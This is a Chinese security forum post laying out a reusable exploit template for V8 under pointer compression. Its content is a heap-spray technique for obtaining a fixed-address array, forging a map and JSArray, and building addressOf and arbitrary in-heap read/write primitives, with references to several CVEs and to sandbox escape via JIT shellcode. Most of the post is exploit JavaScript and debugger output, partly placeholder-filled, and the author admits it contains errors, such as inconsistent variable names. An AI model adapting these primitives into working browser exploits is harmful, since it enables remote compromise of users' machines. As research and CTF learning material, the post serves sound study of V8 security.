首页
社区
课程
招聘
[原创] V8漏洞利用之对象伪造漏洞利用模板
2024-4-1 23:57 3126

[原创] V8漏洞利用之对象伪造漏洞利用模板

2024-4-1 23:57
3126

前言

这个利用方式是我在 Tokameine ✌的一篇文章中看到的,这里给出链接

看了之后感觉比较通用,于是赶紧去适配了下之前我复现过但是没有写出 exp 的漏洞(之所以没有写出 exp,就是因为伪造对象的地址非常不稳定),然后发现基本上都可以套用一个模板(毕竟差不多都是一样利用原语的漏洞),所以在此作下记录并将这种利用方式总结一下

然后先叠个 buff,由于写这篇文章的时候脑袋晕晕的,所以会出现一些错误(自己也感觉到了,但是不想改了),所以如果发现错误或者不严谨的地方,希望读者可以雅正

通用堆喷技术

指针压缩下的通用堆喷技术,效果为:获取一个低 4 字节固定的对象

感觉利用堆分配特性也行

先来看下 V8 中堆块管理结构:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
0x000020e000000000 0x000020e00014e000 0x0000000000000000 r-x
0x000020e00014e000 0x000020e000180000 0x0000000000000000 ---
0x000020e000180000 0x000020e000183000 0x0000000000000000 rw-
0x000020e000183000 0x000020e000184000 0x0000000000000000 ---
0x000020e000184000 0x000020e00019a000 0x0000000000000000 r-x
0x000020e00019a000 0x000020e0001bf000 0x0000000000000000 ---
0x000020e0001bf000 0x000020e008000000 0x0000000000000000 ---
0x000020e008000000 0x000020e00802a000 0x0000000000000000 r--
0x000020e00802a000 0x000020e008040000 0x0000000000000000 ---
0x000020e008040000 0x000020e00814d000 0x0000000000000000 rw-
0x000020e00814d000 0x000020e008180000 0x0000000000000000 ---
0x000020e008180000 0x000020e008183000 0x0000000000000000 rw-
0x000020e008183000 0x000020e0081c0000 0x0000000000000000 ---
0x000020e0081c0000 0x000020e008240000 0x0000000000000000 rw-
0x000020e008240000 0x000020e100000000 0x0000000000000000 ---

一般而言,普通对象(Array/JSObject)都分配在 rw- 页面上,我们来看下最后一个堆块的信息:

在堆块页面的起始部分,有一段空间是用来存储堆块的元信息的,在 V8 的堆结构中有 0x2118 字节用来存储堆结构相关信息

1
2
3
4
5
6
7
8
9
gef➤  x/16gx 0x000020e0081c0000
0x20e0081c0000: 0x0000000000040000      0x0000000000000004
0x20e0081c0010: 0x000055af1526b0f8      0x000020e0081c2118
0x20e0081c0020: 0x000020e008200000      0x000000000003dee8
0x20e0081c0030: 0x0000000000000000      0x0000000000002118
0x20e0081c0040: 0x000055af152ec570      0x000055af1524fef0
0x20e0081c0050: 0x000020e0081c0000      0x0000000000040000
0x20e0081c0060: 0x000055af152ea320      0x0000000000000000
0x20e0081c0070: 0xffffffffffffffff      0x0000000000000000

堆块相关结构如下:

1
2
3
4
5
0x20e0081c0000: size = 0x40000
0x20e0081c0018: 堆的起始地址为0x000020e0081c2118,
0x20e0081c0020: 堆指针,表示该堆已经被使用到哪了,即现在堆指针指向0x000020e008200000
0x1f7a081c0028: 已经被使用的size, 0x3dee8 + 0x2118 = 0x40000
        ==> 0x000020e0081c2118+0x3dee8 = 0x20e008200000

而该 rw- 段的大小为 0x80000 ,所以紧接着后面还有其它堆块:

gef➤  x/16gx 0x000020e0081c0000+0x40000
0x20e008200000: 0x0000000000040000      0x0000000000000004
0x20e008200010: 0x000055af1526b0f8      0x000020e008202118
0x20e008200020: 0x000020e008240000      0x000000000003dee8
0x20e008200030: 0x0000000000000000      0x0000000000002118
0x20e008200040: 0x000055af152ecbd0      0x000055af1524fef0
0x20e008200050: 0x000020e008200000      0x0000000000040000
0x20e008200060: 0x000055af152f9ee0      0x0000000000000000
0x20e008200070: 0xffffffffffffffff      0x0000000000000000

结构同上,所以 0x000020e0081c0000 0x000020e008240000 0x0000000000000000 rw-内存区域由两个大小为 0x40000v8的 堆组成

如果这个时候,我申请一个 0xf700 大小的数组,在新版 v8 中,一个地址4字节,那么就是需要 0xf700 * 4 + 0x2118 = 0x3fd18,再对齐一下,那么就是0x40000大小的堆,我们来测试一下:

1
2
3
a = Array(0xf700);
%DebugPrint(a);
%SystemBreak();

a 的信息输出如下:

1
2
3
4
5
6
7
8
9
10
11
12
DebugPrint: 0xe1008049939: [JSArray]
 - map: 0x0e1008203ab9 <Map(HOLEY_SMI_ELEMENTS)> [FastProperties]
 - prototype: 0x0e10081cc0e9 <JSArray[0]>
 - elements: 0x0e1008242119 <FixedArray[63232]> [HOLEY_SMI_ELEMENTS]
 - length: 63232
 - properties: 0x0e100800222d <FixedArray[0]>
 - All own properties (excluding elements): {
    0xe10080048f1: [String] in ReadOnlySpace: #length: 0x0e100814215d <AccessorInfo> (const accessor descriptor), location: descriptor
 }
 - elements: 0x0e1008242119 <FixedArray[63232]> {
     0-63231: 0x0e100800242d <the_hole>
 }

注意这里 elements 指针 为 0x0e1008242119,此时查看堆布局:

1
2
3
4
5
6
gef➤  vmmap 0x0e1008242119
[ Legend:  Code | Heap | Stack ]
Start              End                Offset             Perm Path
0x00000e10081c0000 0x00000e1008280000 0x0000000000000000 rw-
gef➤  p/x 0x00000e1008280000-0x00000e10081c0000
$2 = 0xc0000

elements 字段地址为0x00000e10081c0000+ 0x80000 + 0x2118 + 0x1 = 0x0e1008242119。在启动指针压缩时,在堆中储存的地址为4字节,而根据上述堆的特性,我们能确定低2字节为 0x2119,而一般情况下其高2字节也是不变的,所以这里其实4字节都已经确认的

还有一个比较重要的点是,该 FixedArray 是一个大对象,其是不受 gc 影响的,所以这里的效果就是获取一个已经地址的内容可控的内存区域

利用模板

该方法主要配合上述的通用堆喷技术进行利用

前提:

  • 开启指针压缩

针对漏洞类型:

  • 任意地址对象伪造
  • 特定地址对象伪造
  • 只能修改 Array 对象的 element 字段(这里包含同时修改 lenelement 的情况)

效果:

  • 实现 4GB 堆内的任意地址读写
    (后续的利用就看情况了,如何没有沙箱则打 ArrayBuffer 就行了,如果有沙箱就想办法绕过沙箱,比较通用的绕过沙箱的方式就是利用 JIT 构造立即数 shellocde 了)

缺点:

  • exp 不具有通用性,只能针对特定版本利用

这里的漏洞类型只是一个泛称,比如:如何进行任意地址对象伪造需要根据具体的漏洞来看,这里讲的是我们已经构造了一个任意地址对象伪造的原语,接下来该如何进行利用

针对上面的漏洞类型,笔者也就一些 CVE 完成了利用,我发在 CSDN 上了,感兴趣可以点击链接查看

任意地址对象伪造 比如:CVE-2021-38001CVE-2023-4427

对于该漏洞,提出以下问题:

  • 在哪里伪造对象?要求稳定,比如你在 addr 这个位置伪造了一个对象,那么这块内存就不能被释放或者内存的内容不能被破坏
  • 如何进行伪造?伪造一个对象,比如 JSArray,其基本字段有 map/property/len/element,这里的 property/len 好说,关键是 map/element 该指向何处

通过之前讲的通用堆喷技术,我们可以获得一块地址稳定的 element 区域,这个大对象的地址是已知的,并且不受 gc 的影响,而且其内容还是可控的,所以在这里伪造再合适不过

1
2
3
4
5
var spray_array = new Array(0xf700).fill(1.1); // 这里是 double 数组
var element_start_addr = ?; // element_start_addr 就是 spray_array 的 element 地址,其是固定的
var data_element_start_addr = element_start_addr + 7; // element 数据部分的其实位置
var map_addr = data_element_start_addr + 0x1000; // 伪造的 map 的地址
var fake_object_array_addr = map_addr + 0x1000; // 伪造的对象的地址,一般漏洞利用中都是伪造 JSArray

然后就是考虑如何去伪造 map,这里需要知道的时在取对象时,会检查 map,但是只是检查其类型,所以这里我们只需要伪造其前 16 字节即可,这里调试即可知道,前16字节基本是不变的

这里可能得把 map 的前8字节改为一个可以访问的地址

1
2
3
// 这里伪造的 double 类型的 map
spray_array[(map_addr        -data_start_addr) / 8] = u64_to_f64(0x1604040408002119n);
spray_array[(map_addr        -data_start_addr) / 8 + 1] = u64_to_f64(0x0a0007ff11000834n);

然后是伪造对象,map 字段已经伪造好了,那么 element 该如何伪造呢?这里我们在利用上述通用堆喷技术得到一个地址固定的 element 区域(理由后面你就懂了)

1
2
3
4
5
var leak_object_array = new Array(0xf700).fill({}); // 这里是 element 数组
var leak_element_start_addr = ?;// leak_element_start_addr 就是 leak_object_array 的 element 地址,其是固定的
// 这里的 0x6cd 具体调试一下就行,特定版本是固定的,因为 JSArray 不需要这个
spray_array[(fake_object_addr-data_start_addr) / 8] = pair_u32_to_f64(map_addr+1, 0x6cd);
spray_array[(fake_object_addr-data_start_addr) / 8 + 1] = pair_u32_to_f64(leak_element_start_addr, 0x8000);

此时我们就在 fake_object_array_addr 地址处伪造好了一个 JSArray,其是 double 类型的,并且其 element 指向 leak_element_start_addr,我们将其称作 fake_object

然后通过任意地址对象伪造漏洞获取这个对象 fake_object

1
var fake_object = trigger(); // 这里 trigger 泛指通过漏洞获取该伪造的对象

此时就可以构造 addressOf 原语了:

leak_object_arrayfake_object 指向的是同一个 element,而 leak_object_array 将其解析为 element 类型数组,而 fake_object 将其解析为 double 数组

1
2
3
4
function addressOf(obj) {
    leak_object_array[0] = obj;
    return get_fl(fake_object[0]);
}

然后就是先想办法实现堆内的任意地址读写了,嗯,其实很简单,因为我们的 fake_object 是完全伪造在 spray_array 数组的 element 中的,所以我们可以直接通过 spray_array 修改 fake_objectelement 从而就可以实现堆内的任意地址读写了(当然了,不完全任意,因为 element 要减 8,所以最开始的 8 字节无法读写)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
function arb_read_cage(addr) {
    spray_array[(fake_object_addr-data_start_addr) / 8 + 1] = pair_u32_to_f64(addr-8, 0x8000);
    return f64_to_u64(fake_object[0]);
}
 
function arb_write_half_cage(addr, val) {
    let orig_val = arb_read_cage(addr);
    fake_object[0] = pair_u32_to_f64(val, orig_val&0xffffffff);
}
 
function arb_write_full_cage(addr, val) {
    spray_array[(fake_object_addr-data_start_addr) / 8 + 1] = pair_u32_to_f64(addr-8, 0x8000);
    fake_object[0] = u64_to_f64(val);
}

所以最后模板如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
var spray_array = new Array(0xf700).fill(1.1);
var leak_object_array = new Array(0xf700).fill({});
var element_start_addr = ?;
var data_element_start_addr = element_start_addr + 7;
var map_addr = data_element_start_addr + 0x1000;
var fake_object_array_addr = map_addr + 0x1000;
var leak_element_start_addr = ?;
spray_array[(map_addr        -data_start_addr) / 8] = u64_to_f64(?);
spray_array[(map_addr        -data_start_addr) / 8 + 1] = u64_to_f64(?);
spray_array[(fake_object_addr-data_start_addr) / 8] = pair_u32_to_f64(map_addr+1, 0x6cd);
spray_array[(fake_object_addr-data_start_addr) / 8 + 1] = pair_u32_to_f64(leak_element_start_addr, 0x8000);
 
var fake_object = trigger();
 
function addressOf(obj) {
    leak_object_array[0] = obj;
    return get_fl(fake_object[0]);
}
 
function arb_read_cage(addr) {
    spray_array[(fake_object_addr-data_start_addr) / 8 + 1] = pair_u32_to_f64(addr-8, 0x8000);
    return f64_to_u64(fake_object[0]);
}
 
function arb_write_half_cage(addr, val) {
    let orig_val = arb_read_cage(addr);
    fake_object[0] = pair_u32_to_f64(val, orig_val&0xffffffff);
}
 
function arb_write_full_cage(addr, val) {
    spray_array[(fake_object_addr-data_start_addr) / 8 + 1] = pair_u32_to_f64(addr-8, 0x8000);
    fake_object[0] = u64_to_f64(val);
}

只能修改 JSArray 对象的 element 字段 比如 Issue 2046

这里只能修改 JSArray 对象的 element 字段其实不准确,这里是因为有些漏洞,我们必须写入 8 字节,而在指针压缩下 len|element 一起构成了 8 字节,所以修改 len 的同时会修改 element,并且还无法错位写 element,上面的示例漏洞就是这样的

这里其实可以将 element 修改为 1 ,然后选几个区域进行爆破,但是成功率你懂的,反正我没成功过

这里就直接说结论了,这里被修改 element 字段的对象笔者称作 victim_array

先利用通用堆喷技术创建一个 spray_array,这里这里 spray_array 的类型为 element

1
2
3
4
5
6
var spray_array = new Array(0xf700).fill({}); // 注意
var element_start_addr = ?;
var data_element_start_addr = element_start_addr + 7;
var map_addr = data_element_start_addr + 0x1000;
var fake_object_array_addr = map_addr + 0x1000;
var save_fake_object_array_addr = fake_object_array_addr + 0x200;

然后利用漏洞修改 victim_arrayelement 字段,使其指向 element_start_addr

1
2
var victim_array = [1.1, 1.1, 1.1, 1.1];
// trigger bug ==> victim_array->element = element_start_addr

此时就可以构造 addressOf 原语了

spray_arrayvictim_array 指向的是同一个 element,而 spray_array 将其解析为 element 类型数组,而 victim_array 将其解析为 double 数组

1
2
3
4
function addressOf(obj) {
    spray_array[0] = obj;
    return get_fl(victim_array[0]);
}

然后就考虑如何进行堆上的任意地址读写了,很简单其实,还是利用 spray_arrayvictim_arrayelement 指向的是同一块内存,所以利用 victim_arrayelement 上伪造一个对象,然后 spray_array 直接读取就获取这个伪造的对象了

这里还可以更简单的,笔者搞复杂了,但是不管了

1
2
3
4
5
victim_array[(map_addr              - data_element_start_addr) / 8] = pair_u32_to_f64(data_element_start_addr+0x200+1, ?); // 这里也可以直接照抄
victim_array[(map_addr              - data_element_start_addr) / 8 + 1] = u64_to_f64(?);
victim_array[(fake_object_addr      - data_element_start_addr) / 8] = pair_u32_to_f64(map_addr+1, 0x6cd);
victim_array[(fake_object_addr      - data_element_start_addr) / 8 + 1] = pair_u32_to_f64(3, 0x20);
victim_array[(save_fake_object_addr - data_element_start_addr) / 8] = pair_u32_to_f64(fake_object_addr+1, fake_object_addr+1);

然后利用 spray_array 取出该伪造的对象:

1
var fake_object = spray_array[(save_fake_object_addr - data_element_start_addr) / 4];

后面的堆内任意地址读写就比较简单了,直接利用 victim_array 修改 fake_objectelement 即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
function arb_read_cage(addr) {
        victim_array[(fake_object_addr - data_element_start_addr) / 8 + 1] = pair_u32_to_f64(addr-8, 0x20);
        return f64_to_u64(fake_object[0]);
}
 
function arb_write_half_cage(addr, val) {
        let orig_val = arb_read_cage(addr);
        fake_object[0] = pair_u32_to_f64(val, orig_val&0xffffffffn);
}
 
function arb_write_full_cage(addr, val) {
        victim_array[(fake_object_addr - data_element_start_addr) / 8 + 1] = pair_u32_to_f64(addr-8, 0x20);
        fake_object[0] = u64_to_f64(val);
}

模板如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
var spray_array = new Array(0xf700).fill({}); // 注意
var element_start_addr = ?;
var data_element_start_addr = element_start_addr + 7;
var map_addr = data_element_start_addr + 0x1000;
var fake_object_array_addr = map_addr + 0x1000;
var save_fake_object_array_addr = fake_object_array_addr + 0x200;
victim_array[(map_addr              - data_element_start_addr) / 8] = pair_u32_to_f64(data_element_start_addr+0x200+1, ?); // 这里也可以直接照抄
victim_array[(map_addr              - data_element_start_addr) / 8 + 1] = u64_to_f64(?);
victim_array[(fake_object_addr      - data_element_start_addr) / 8] = pair_u32_to_f64(map_addr+1, 0x6cd);
victim_array[(fake_object_addr      - data_element_start_addr) / 8 + 1] = pair_u32_to_f64(3, 0x20);
victim_array[(save_fake_object_addr - data_element_start_addr) / 8] = pair_u32_to_f64(fake_object_addr+1, fake_object_addr+1);
 
var victim_array = [1.1, 1.1, 1.1, 1.1];
// trigger bug ==> victim_array->element = element_start_addr
 
function addressOf(obj) {
    spray_array[0] = obj;
    return get_fl(victim_array[0]);
}
 
var fake_object = spray_array[(save_fake_object_addr - data_element_start_addr) / 4];
 
function arb_read_cage(addr) {
        victim_array[(fake_object_addr - data_element_start_addr) / 8 + 1] = pair_u32_to_f64(addr-8, 0x20);
        return f64_to_u64(fake_object[0]);
}
 
function arb_write_half_cage(addr, val) {
        let orig_val = arb_read_cage(addr);
        fake_object[0] = pair_u32_to_f64(val, orig_val&0xffffffffn);
}
 
function arb_write_full_cage(addr, val) {
        victim_array[(fake_object_addr - data_element_start_addr) / 8 + 1] = pair_u32_to_f64(addr-8, 0x20);
        fake_object[0] = u64_to_f64(val);
}

特定地址对象伪造 比如 CVE-2022-1310

这个其实跟二个差不多,单独拿出来,是因为写这个 exp 时,我遇到了很多玄学问题,如果劫持 backing_stroe 后无法往 rwx 页面写 shellcode

所以这里就不写了,读者可以尝试复现上面的 CVE,毕竟自己动手才有深刻的印象

总结

总的来说,笔者感觉这个方法还是比较好用的,笔者也用该方法完成了之前没有完成的利用(各种玄学原因),但是其需要版本适配,所以并不是特别完美。

参考

https://bbs.kanxue.com/thread-273709.htm


[CTF入门培训]顶尖高校博士及硕士团队亲授《30小时教你玩转CTF》,视频+靶场+题目!助力进入CTF世界

最后于 2024-4-2 00:28 被XiaozaYa编辑 ,原因:
收藏
点赞2
打赏
分享
最新回复 (5)
雪    币: 19389
活跃值: (29037)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
秋狝 2024-4-2 09:21
2
1
感谢分享
雪    币:
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
mb_ocpvkmfq 2024-4-2 14:56
3
0
公司招人  有意向嘛
雪    币: 4817
活跃值: (1545)
能力值: ( LV9,RANK:200 )
在线值:
发帖
回帖
粉丝
XiaozaYa 4 2024-4-2 22:17
4
0
mb_ocpvkmfq 公司招人 有意向嘛
雪    币: 7783
活跃值: (5787)
能力值: ( LV12,RANK:418 )
在线值:
发帖
回帖
粉丝
Tokameine 3 2024-4-12 16:10
5
0
 太强了QWQ
雪    币: 4817
活跃值: (1545)
能力值: ( LV9,RANK:200 )
在线值:
发帖
回帖
粉丝
XiaozaYa 4 2024-4-12 19:02
6
0
Tokameine 太强了QWQ
还得是站在爷的肩膀上
游客
登录 | 注册 方可回帖
返回